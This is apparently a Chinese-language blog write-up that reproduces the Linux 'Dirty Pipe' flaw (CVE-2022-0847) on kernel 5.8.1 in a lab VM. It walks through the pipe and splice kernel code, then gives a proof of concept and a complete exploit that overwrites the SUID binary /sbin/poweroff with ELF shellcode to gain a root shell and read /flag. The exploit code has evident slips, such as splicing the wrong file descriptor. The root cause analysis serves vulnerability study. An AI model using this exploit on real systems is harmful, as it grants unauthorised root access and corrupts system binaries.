本文的复现环境为 Linux 5.8.1,下载地址https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.8.1.tar.gz 本人仓库见https://github.com/NazrinDuck/CVE-Reproduce/tree/master/CVE-2022-0847
漏洞背景 最早发现者自述在这里 ,通过一个偶然的CRC校验失败发现了一个强大的kernel bug。跑日志服务器也算做是fuzz
开始之前简介一下pipe()函数和splice()函数
pipe() 前者在Kernel Pwn很常见,正常可用于进程间通信等地方,如下所示
1 2 3 4 5 6 7 8 9 10 11 12 int main () { int fd[2 ]; char buffer[0x100 ]; pipe(fd); if (!fork()) { read(fd[0 ], buffer, 0x100 ); } else { write(fd[1 ], "aaaabbbb" , 0x8 ); } }
在写入管道时,最终会调用pipe_read()函数,如果之前没有写入会分配一个pipe_buffer和一个页框,并且设置pipe_buffer的flag字段为PIPE_BUF_FLAG_CAN_MERGE
pipe_write 完整版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static ssize_t pipe_write (struct kiocb *iocb, struct iov_iter *from) { buf = &pipe->bufs[head & mask]; buf->page = page; buf->ops = &anon_pipe_buf_ops; buf->offset = 0 ; buf->len = 0 ; if (is_packetized(filp)) buf->flags = PIPE_BUF_FLAG_PACKET; else buf->flags = PIPE_BUF_FLAG_CAN_MERGE; pipe->tmp_page = NULL ; }
而且,如果flag字段被设置为PIPE_BUF_FLAG_CAN_MERGE,在之后的写入时会接着写入到该page中去
pipe_write 完整版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static ssize_t pipe_write (struct kiocb *iocb, struct iov_iter *from) {if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) { ret = pipe_buf_confirm(pipe, buf); if (ret) goto out; ret = copy_page_from_iter(buf->page, offset, chars, from); if (unlikely(ret < chars)) { ret = -EFAULT; goto out; } buf->len += ret; if (!iov_iter_count(from)) goto out; } }
splice() 后者可以用来实现“零拷贝”传递数据,减少了内核态与用户态的切换,效率更高,如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #define _FILE_OFFSET_BITS 64 #include <err.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main (void ) { int fd; int pfd[2 ]; off_t off; const char s[12 ] = "Hello, world" ; fd = open("out" , O_WRONLY | O_CREAT | O_EXCL, 0666 ); if (fd == -1 ) err(EXIT_FAILURE, "open" ); if (pipe(pfd) == -1 ) err(EXIT_FAILURE, "pipe" ); if (write(pfd[1 ], s, sizeof (s)) != sizeof (s)) err(EXIT_FAILURE, "write" ); if (close(pfd[1 ]) == -1 ) err(EXIT_FAILURE, "close" ); off = 10 ; if (splice(pfd[0 ], NULL , fd, &off, sizeof (s), 0 ) != sizeof (s)) err(EXIT_FAILURE, "splice" ); if (close(pfd[0 ]) == -1 ) err(EXIT_FAILURE, "close" ); printf ("New offset is %jd\n" , (intmax_t )off); if (close(fd) == -1 ) err(EXIT_FAILURE, "close" ); exit (EXIT_SUCCESS); }
splice()函数在libc中的原型如下所示
1 2 3 ssize_t splice (int fd_in, off_t *_Nullable off_in, int fd_out, off_t *_Nullable off_out, size_t size, unsigned int flags) ;
其中,off_in参数和off_out参数在不使用时可设置为NULL
当flag参数设置为SPLICE_F_MOVE时,该函数可以实现数据从fd_in到fd_out的零拷贝复制,类似与sendfile系统调用,但是规定这两个文件描述符中必须有一个是pipe
do_splice 完整版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 long do_splice (struct file *in, loff_t __user *off_in, struct file *out, loff_t __user *off_out, size_t len, unsigned int flags) {if (opipe) { if (off_out) return -ESPIPE; if (off_in) { if (!(in->f_mode & FMODE_PREAD)) return -EINVAL; if (copy_from_user(&offset, off_in, sizeof (loff_t ))) return -EFAULT; } else { offset = in->f_pos; } if (out->f_flags & O_NONBLOCK) flags |= SPLICE_F_NONBLOCK; pipe_lock(opipe); ret = wait_for_space(opipe, flags); if (!ret) { unsigned int p_space; p_space = opipe->max_usage - pipe_occupancy(opipe->head, opipe->tail); len = min_t (size_t , len, p_space << PAGE_SHIFT); ret = do_splice_to(in, &offset, opipe, len, flags); } pipe_unlock(opipe); if (ret > 0 ) wakeup_pipe_readers(opipe); if (!off_in) in->f_pos = offset; else if (copy_to_user(off_in, &offset, sizeof (loff_t ))) ret = -EFAULT; return ret; } }
以上为当out参数为管道时的执行流,最终程序会进入do_splice_to()函数,然后间接调用函数generic_file_buffered_read()
generic_file_buffered_read 完整版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ssize_t generic_file_buffered_read (struct kiocb *iocb, struct iov_iter *iter, ssize_t written) { ret = copy_page_to_iter(page, offset, nr, iter); offset += ret; index += offset >> PAGE_SHIFT; offset &= ~PAGE_MASK; prev_offset = offset; put_page(page); }
到此为止的调用链如下所示
splice()实现了将pipe_buffer中的page直接用文件的page替换掉,我们在pipe中读写,事实上就是在pipe指向的物理页框里读写,在这种情况下是直接在文件中读写
被替换掉的ops如上所示
最终,程序进入函数copy_page_to_iter(),接着进入函数copy_page_to_iter_pipe()
copy_page_to_iter_pipe 完整版 1 2 3 4 5 6 7 8 9 10 11 static size_t copy_page_to_iter_pipe (struct page *page, size_t offset, size_t bytes, struct iov_iter *i) { buf->ops = &page_cache_pipe_buf_ops; get_page(page); buf->page = page; buf->offset = offset; buf->len = bytes; }
我们来到了这个最关键的地方。接下来我们介绍具体的漏洞成因
漏洞成因 注意这个初始化,它设置了struct pipe_buffer的若干字段,但是**忘记设置了flags**这个字段!
结构体如下所示
1 2 3 4 5 6 7 struct pipe_buffer { struct page *page ; unsigned int offset, len; const struct pipe_buf_operations *ops ; unsigned int flags; unsigned long private; };
这意味着我们将其他文件描述符接入管道时,该管道对应的结构体struct pipe_buffer中的flags是会保持原样的
而由上所述,当flags设置中存在PIPE_BUF_FLAG_CAN_MERGE这个设置时,我们是可以直接写入文件内容的 ,没有任何和文件权限相关的校验
这意味着我们拿到了一个Linux文件系统任意文件写,之后的利用手法多种多样了,既可以覆写/etc/passwd,也可以覆写suid 程序
下面我们具体复现一下每一个过程
漏洞复现 PoC 部分 首先,我们以只读模式打开一个权限为400,拥有者为root的文件,这意味着我们没有写入的权限
1 2 3 4 5 6 7 8 9 10 11 12 int main{ step("Reproduce CVE-2022-0847 <PoC>" ); int root_fd = check(open(root_file_name, O_RDONLY)); info("Open root file with fd %d\n" , root_fd); info("Root file content:\n" ); free (check_file(root_fd)); }
之后,我们查看它的内容,作为之后的对比
下一步,我们创建一组pipe,并把它们所有的pipe_buffer结构体中的flags字段都设置上PIPE_BUF_FLAG_CAN_MERGE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int main{ info("Make new pipe fds\n" ); check(pipe(pipe_fd1)); char *buffer = malloc (0x1000 ); for (int i = 0 ; i < 0x10 ; ++i) { memset (buffer, i, 0x1000 ); check(write(pipe_fd1[1 ], buffer, 0x1000 )); } info("Write 0x10 pages to pipe\n" ); success("Now this pipe has flag PIPE_BUF_FLAG_CAN_MERGE\n" ); }
事实上,在pipe()函数初始化时,内核会默认分配大小为16的pipe_buffer结构体数组, 因此,我们需要填充0x10(16)个页来保证每一个pipe_buffer的flags字段都被设置
具体方法如上所示,就是直接一页一页地写入数据即可
之后是关键步骤,但是内容很简略
1 2 3 4 5 6 7 8 9 10 int main{ check(read(pipe_fd1[0 ], buffer, 0x1000 )); check(lseek(root_fd, 0 , SEEK_SET)); check(splice(root_fd, NULL , pipe_fd1[1 ], NULL , 0x10 , SPLICE_F_MOVE)); memcpy (buffer, "hamood?" , 8 ); check(write(pipe_fd1[1 ], buffer, 0x8 )); }
由于pipe_buffer已满,我们需要先清空一个pipe_buffer,方法是直接读出
之后,我们先重置root_fd文件对应的文件指针的位置(lseek()),并调用splice(),将其接入pipe_fd1[1]中去
根据参数的顺序,splice()会将root_fd这个只读文件作为发送端,pipe_fd1[1]作为接收端,从前者读取数据输送到后者中去
读取内容的大小由参数确定,为0x10,此时pipe_fd1对应的pipe管道会有0x10个字节的偏移
之后,我们仍往pipe_fd1[1]管道中写入数据。按照之前的分析,pipe_buffer->flags此时仍然有PIPE_BUF_FLAG_CAN_MERGE,但是该pipe对应的页已经被替换成只读文件了。于是,pipe会在只读文件上留下我们写入的内容,偏移则是由于我们之前写入造成的偏移,为0x10字节
最后,我们再查看该只读文件,并寻找我们写入的字符串内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int main{ info("Root file content now:\n" ); char *cve_chk = check_file(root_fd); if (strstr (cve_chk, "hamood?" )) { free (cve_chk); success("CVE-2022-0847 reproduced successfully!\n" ); } else { free (cve_chk); err_exit("Failed to reproduce CVE-2022-0847" ); } close(pipe_fd1[0 ]); close(pipe_fd1[1 ]); close(root_fd); }
注意到,我们对文件的写入还是局限在一个页内的,且在splice()调用的过程是会写入至少一比特的内容的。 这意味着我们无法从头覆写一个文件
Exp 部分 接下来,我们准备对其要进行利用,目标是运行一个root权限(uid == 0)的程序来拿到根目录的/flag
这里,我选取了一个suid程序/sbin/poweroff,它在我们退出qemu时会被调用
由于我采用busybox来构建这个文件系统,事实上所以的/bin和/sbin程序全都是busybox的软链接,我们更改哪一个都是对busybox进行更改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 const char shellcode[] = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00" "\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00" "\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" "\x40\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\xda\x00\x00\x00" "\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00H\xc7\xc1\x66/shQH\xb9/" "home/" "ctQT_H1\xf6H1\xd2j;X\x0f\x05\x90\x90" ; int main{#define SUID_FILE "/sbin/poweroff" step("Reproduce CVE-2022-0847 <Exp>" ); int evil_pipe[2 ]; int suid_fd = check(open(SUID_FILE, O_RDONLY)); uint64_t offset = 0x1 ; pipe(evil_pipe); info("Open suid file " SUID_FILE " with fd %d\n" , root_fd); info("Use CVE-2022-0847 to overwrite " SUID_FILE "...\n" ); for (int i = 0 ; i < 0x10 ; ++i) { memset (buffer, i, 0x1000 ); check(write(evil_pipe[1 ], buffer, 0x1000 )); } check(read(evil_pipe[0 ], buffer, 0x1000 )); check(lseek(root_fd, 0 , SEEK_SET)); check(splice(root_fd, NULL , evil_pipe[1 ], NULL , offset, SPLICE_F_MOVE)); memcpy (buffer, shellcode + offset, sizeof (shellcode) - offset); check(write(evil_pipe[1 ], buffer, sizeof (shellcode) - offset)); int suid_chk_fd = check(open(SUID_FILE, O_RDONLY)); free (check_file(suid_chk_fd)); success("Change suid file " SUID_FILE " successfully, Now trigger manually\n" ); free (buffer); exit (0 ); }
按照我们之前PoC的手法,我们准备覆写该文件。我准备将原ELF文件前边部分覆写上一段简短的ELF文件,其内容除去文件头仅仅是一段简单的shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mov rcx, 0x68732f66; push rcx; mov rcx, 0x74632f656d6f682f; push rcx; push rsp; pop rdi; xor rsi, rsi; xor rdx, rdx; push 59; pop rax; syscall; nop; nop;
其内容为execve("/hoem/ctf/sh", NULL, NULL)。由于该手法一次只能有偏移地覆盖一页(0x1000)以内的内容,我们仅将前边部分覆写。
由于ELF文件头被更改,程序事实上的开始执行的位置也被劫持到我们的shellcode,因此这样是没有问题的
接着,我们便可以通过/home/ctf/sh这个文件以root身份任意执行代码,方法是直接退出qemu就会触发
1 2 3 4 5 6 7 8 9 10 11 #include <fcntl.h> #include <sys/sendfile.h> #include <unistd.h> int main (int argc, char *argv[]) { sendfile(1 , open("/flag" , 0 ), NULL , 0x100 ); for (;;) { sleep(0x100 ); } return 0 ; }
以上是一个简单的获取”/flag”的程序,我们可以换成不同的代码完成各种事情。
尝试直接放入busybox变身的sh或者busybox_ASH程序的行为都会Segment Fault,猜测可能是环境变量导致的(?)
最终结果如下所示:
完整代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 #define _GNU_SOURCE #include <arpa/inet.h> #include <fcntl.h> #include <net/if.h> #include <poll.h> #include <pthread.h> #include <stdint.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/xattr.h> #include <threads.h> #include <unistd.h> #define KERNEL_VERSION "5.8.1" #include "./klog.h" #include "./kpwn.h" uint64_t fd;const char *file_name = "/home/ctf/dirty_pipe" ;const char *root_file_name = "/home/ctf/root_file" ;const char shellcode[] = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00" "\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00" "\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" "\x40\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\xda\x00\x00\x00" "\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00H\xc7\xc1\x66/shQH\xb9/" "home/" "ctQT_H1\xf6H1\xd2j;X\x0f\x05\x90\x90" ; void banner () { printf ("\n" ); printf (BLUE "==========================================\n" END); printf (CYAN " Linux CVE-2022-0847 Exp \n" END); printf (" by" YELLOW " NazrinDuck\n" END); printf (" Kernel Version: " RED KERNEL_VERSION END "\n" ); printf (BLUE "==========================================\n" END); printf ("\n" ); } void __attribute__((constructor)) init() { bind_cpu(0 ); banner(); adjust_rlimit(); page_size = sysconf(_SC_PAGESIZE); info("page size: %#lx\n" , page_size); } void close_file () { close(fd); }void create_file () { fd = open(file_name, O_CREAT | O_RDWR | O_TRUNC, S_IRUSR | S_IWUSR); if (fd <= 0 ) { err_exit("Fail to create file" ); } success("Create file and write to it\n" ); info("fd: %lu\n" , fd); write(fd, "aaaabbbb" , 8 ); check(fsync(fd)); atexit(close_file); } char *check_file (int fd) { struct stat *stat_buf = malloc (sizeof (struct stat)); fstat(fd, stat_buf); uint64_t size = stat_buf->st_size; char *buffer = malloc (size); if (size > 0x100 ) { size = 0x100 ; } check(lseek(fd, 0 , SEEK_SET)); check(read(fd, buffer, size)); dump_hex(buffer, size); free (stat_buf); return buffer; } int main () { step("Check splice" ); save_stat(); create_file(); info("Now file content:\n" ); free (check_file(fd)); int pipe_fd0[2 ], pipe_fd1[2 ]; check(pipe(pipe_fd0)); info("Create to pipes\n" ); info("Fork and test\n" ); if (!fork()) { info("pid %d: write pipe\n" , getpid()); check(write(pipe_fd0[1 ], "ccccdddd" , 0x8 )); exit (0 ); } info("pid %d: splice pipe to file\n" , getpid()); check(lseek(fd, 0 , SEEK_SET)); check(splice(pipe_fd0[0 ], NULL , fd, NULL , 0x10 , SPLICE_F_MOVE)); check(fsync(fd)); info("Now file content:\n" ); char *splice_chk = check_file(fd); if (!memcmp (splice_chk, "ccccdddd" , 0x8 )) { free (splice_chk); success("Test splice OK\n" ); } else { free (splice_chk); err_exit("Test splice failed!\n" ); } close(pipe_fd0[0 ]); close(pipe_fd0[1 ]); close(fd); step("Reproduce CVE-2022-0847 <PoC>" ); int root_fd = check(open(root_file_name, O_RDONLY)); info("Open root file with fd %d\n" , root_fd); info("Root file content:\n" ); free (check_file(root_fd)); info("Make new pipe fds\n" ); check(pipe(pipe_fd1)); char *buffer = malloc (0x1000 ); for (int i = 0 ; i < 0x10 ; ++i) { memset (buffer, i, 0x1000 ); check(write(pipe_fd1[1 ], buffer, 0x1000 )); } info("Write 0x10 pages to pipe\n" ); success("Now this pipe has flag PIPE_BUF_FLAG_CAN_MERGE\n" ); check(read(pipe_fd1[0 ], buffer, 0x1000 )); check(lseek(root_fd, 0 , SEEK_SET)); check(splice(root_fd, NULL , pipe_fd1[1 ], NULL , 0x10 , SPLICE_F_MOVE)); memcpy (buffer, "hamood?" , 8 ); check(write(pipe_fd1[1 ], buffer, 0x8 )); info("Root file content now:\n" ); char *cve_chk = check_file(root_fd); if (strstr (cve_chk, "hamood?" )) { free (cve_chk); success("CVE-2022-0847 reproduced successfully!\n" ); } else { free (cve_chk); err_exit("Failed to reproduce CVE-2022-0847" ); } close(pipe_fd1[0 ]); close(pipe_fd1[1 ]); close(root_fd); #define SUID_FILE "/sbin/poweroff" step("Reproduce CVE-2022-0847 <Exp>" ); int evil_pipe[2 ]; int suid_fd = check(open(SUID_FILE, O_RDONLY)); uint64_t offset = 0x1 ; pipe(evil_pipe); info("Open suid file " SUID_FILE " with fd %d\n" , root_fd); info("Use CVE-2022-0847 to overwrite " SUID_FILE "...\n" ); for (int i = 0 ; i < 0x10 ; ++i) { memset (buffer, i, 0x1000 ); check(write(evil_pipe[1 ], buffer, 0x1000 )); } check(read(evil_pipe[0 ], buffer, 0x1000 )); check(lseek(root_fd, 0 , SEEK_SET)); check(splice(root_fd, NULL , evil_pipe[1 ], NULL , offset, SPLICE_F_MOVE)); memcpy (buffer, shellcode + offset, sizeof (shellcode) - offset); check(write(evil_pipe[1 ], buffer, sizeof (shellcode) - offset)); int suid_chk_fd = check(open(SUID_FILE, O_RDONLY)); free (check_file(suid_chk_fd)); success("Change suid file " SUID_FILE " successfully, Now trigger manually\n" ); free (buffer); exit (0 ); for (;;) { sleep(0x100 ); } return 0 ; }